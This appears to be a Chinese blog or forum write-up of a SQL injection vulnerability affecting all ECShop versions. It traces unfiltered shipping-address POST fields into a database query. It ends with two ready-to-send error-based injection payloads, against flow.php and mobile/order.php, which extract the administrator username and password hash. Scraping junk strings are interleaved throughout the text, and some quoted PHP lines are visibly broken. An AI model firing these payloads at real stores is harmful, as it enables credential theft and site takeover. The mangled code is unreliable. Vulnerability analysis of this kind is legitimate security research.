ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。

( m$ e! m1 Q* w2 c    漏洞关键文件：
1 @8 ?2 m, C9 f/ D* h6 g
1 G) x& Y& Q0 [' y  c+ y, i; S, B0 o    /includes/lib_order.php
" m, S6 y2 \0 |* b0 f7 c8 C
- j# v3 V7 Y2 m. l9 D2 S1 o    关键函数：
; S; P8 K: l1 p; d/ M* R1 _  [) r
% J+ x7 W4 Y& v5 W6 h
, h+ a& \2 k( m" w
01     function available_shipping_list($region_id_list)
2 W0 {$ \# V8 _2 {4 t) o
/ S' j9 e& m% |* C' z02 {
2 w7 @! B  D/ k7 b0 q2 w: A
3 t5 E) M3 O% f: j03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .

04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .

05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .

2 S9 A/ V0 [2 t06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
  s. D3 _  B4 T3 S% z
( e# I, q0 B7 ]1 b' p, I# Q+ A8 O07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.

8 v* d' o7 k- ?08             'WHERE r.region_id ' . db_create_in($region_id_list) .

09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';

10   

3 j* \0 k8 i* Q- l. p" ?* F11     return $GLOBALS['db']->getAll($sql);
! P; r2 K+ a4 q( w' T4 w  B- \- E8 k
12 }

7 r* b  d# W0 y显然对传入的参数没有任何过滤就带入了查询语句。
3 S  R6 x$ |. T
0 [. Z- V" L- ?下面我们追踪这个函数在flow.php中：
第531行：   

1 $shipping_list     = available_shipping_list($region);


9 o0 i* z. M- p: P' K# G


& H& ?+ v0 u6 q1 H- P+ N0 q再对传入变量进行追踪：

第530行：   
/ q  g; e+ F  O  }1 T
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);

/ h- {. U" M! F3 D



第473行：        
9 k$ \6 ?- ~3 X* r" W) t, Q
' ]% t3 d& @7 ?0 G/ k1 $consignee = get_consignee($_SESSION['user_id']);
( ]* z$ \! l0 a' h: ^
- J* G  k% o6 ^4 [; ^到了一个关键函数：

+ [% B8 M& L1 _/includes/lib_order.php




8 Y  e) l9 i; Z" d% ^/ }& Z8 W1 z
; G) m% x, m0 }8 ~4 p! g3 h01 function get_consignee($user_id)

02 {

03     if (isset($_SESSION['flow_consignee']))

04     {

05         /* 如果存在session，则直接返回session中的收货人信息 */
% n7 g6 C' ?3 l$ p7 n
06   

' D5 B  n7 o- L$ E07         return $_SESSION['flow_consignee'];
7 u$ h) {# [0 h( P' ^) @. O" Q  f- O
08     }

  L3 ?( K( `& F# O. i. O$ H09     else

  s- ^* m  s) J) [3 g& y8 z4 O2 j10     {
/ D5 i- i: X$ M: j1 F
11         /* 如果不存在，则取得用户的默认收货人信息 */

, d& E4 t6 U6 \2 y" k# @& Q12         $arr = array();
! W. t+ l) Q; S* @
13   
5 t( T' @+ s- N0 c
14         if ($user_id > 0)

' [; Z3 ^4 i: @/ y* ^15         {
( \9 N8 `! q! i) n) C' n
, T6 ^: P3 ~! e/ ]% [) d( j16             /* 取默认地址 */

) G" d! O, \1 |17             $sql = "SELECT ua.*".

18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
$ G7 W4 E# u1 R6 L; K: [
9 i% q- T. ~9 @& P19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";

& S9 T9 [, b9 V  w' }1 C20   
8 d! q4 v2 g+ Q! \
21             $arr = $GLOBALS['db']->getRow($sql);
/ ]$ E* a+ F. i/ H
# ~' \! U( L- q3 p22         }

23   
+ E* u2 x, b5 |# N6 t
6 r8 @4 G# C7 M, n# U$ F; E3 H3 }24         return $arr;

3 G7 h# t: i! I- v25     }

! u4 ]2 J. }- d( U26 }
& g9 C9 C* u, e0 n& @! o
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？
# z$ ~6 a. Q6 |9 Z
5 Q% ~" W, p2 ?* O

: P/ K8 P- {4 R关键点:
! F# d7 [/ E0 o: Q
, I( w( ?* F6 V  j7 X第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);

+ @8 M/ H" ]" e4 P( X5 Q' P$ {4 s这里对传入参数反转义存入$_SESSION中。

& d, k0 w( g; B8 M* d
1 l" P  R) j; e3 @" W: v" \
% _* b. V& Q8 U" ~/ _然后看下：



: N! M, l: i. q9 |- Z& X) x; E* w   
. v6 G! y, l% l; N+ O2 v
4 s! L1 X4 d, T& L4 w01 $consignee = array(
" ^0 D9 c5 T& v5 b2 o. ]" \
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
5 }6 s4 ?* V: r
# L1 C) W$ h% ^$ n: m03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
0 T4 j, a9 U' W' R
7 ~% C. ], n$ q. \: o! ?04         'country'       => empty($_POST['country'])    ? '' _POST['country'],

05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
! B6 D$ D" t/ z
8 V9 l  ]! L! W+ c06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
  o. H+ ?# F- L6 C' U. j
07         'district'      => empty($_POST['district'])   ? '' _POST['district'],

08         'email'         => empty($_POST['email'])      ? '' _POST['email'],

09         'address'       => empty($_POST['address'])    ? '' _POST['address'],

7 N( b' g4 ?' w! L; e- O6 T10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),

11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
/ k/ a' S5 Y) t! N' n
12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
' m3 \/ J/ J4 l
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],

14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
- n8 d* s3 L5 K! C
15     );
; N& t/ @9 S  t  S$ k
' _4 C0 v' B/ ~# x& {好了注入就这样出现了。
- |) @) }* a6 Z( }3 W6 J. F7 F8 ]
* v8 E# X4 W4 ^3 ~- q==================
/ X# f8 z8 r: N1 A
注入测试：
5 m9 m" q( a% T8 Q/ |4 R3 T0 O) ?/ q
9 C, t; O) }$ g% Y5 F: W% P环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
& m" a' m& B- F* K5 V
测试程序：ECShop_V2.7.3_UTF8_release1106



1.首先需要点击一个商品加入购物车

2.注册一个会员帐号
: Y4 ?3 K& Q* S2 l$ ~
3.post提交数据



1 http://127.0.0.1/ecshop/flow.php
! X& m+ i9 @( r. v% C8 _
2   
: l# ]/ l. Q$ {6 [) N! N% b
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
7 o' c( Q5 g  ?举一反三，我们根据这个漏洞我们可以继续深入挖掘：
+ ^; [* r- i  i9 C9 ^& d  c+ a
- k: p6 k# I3 e: I4 d. T$ p" N) T6 J7 ?我们搜寻关键函数function available_shipping_list()

在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同
- d  Z: h+ q9 n: d( j1 p
, {7 ?, w" Z; a# S+ i利用exp:

9 |0 K7 @- U4 G0 j5 P1.点击一个商品，点击购买商标
! y  Z: [9 I% w  v1 P# `$ x: p
# ^  P+ Y  E/ P0 F/ T9 }" e2.登录会员帐号
, I: }; {5 ?4 D! e$ |
& n$ H1 c, ]( l* e7 ~- w3.post提交：
) C1 j0 K' z2 c) y7 L  z
* p* x3 l- M6 O$ yhttp://127.0.0.1/ecshop/mobile/order.php
; W/ H6 o' d( H6 e0 ?# }
: N- l( R* O9 V9 p9 |

country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
, H4 O, w5 I8 e0 _3 y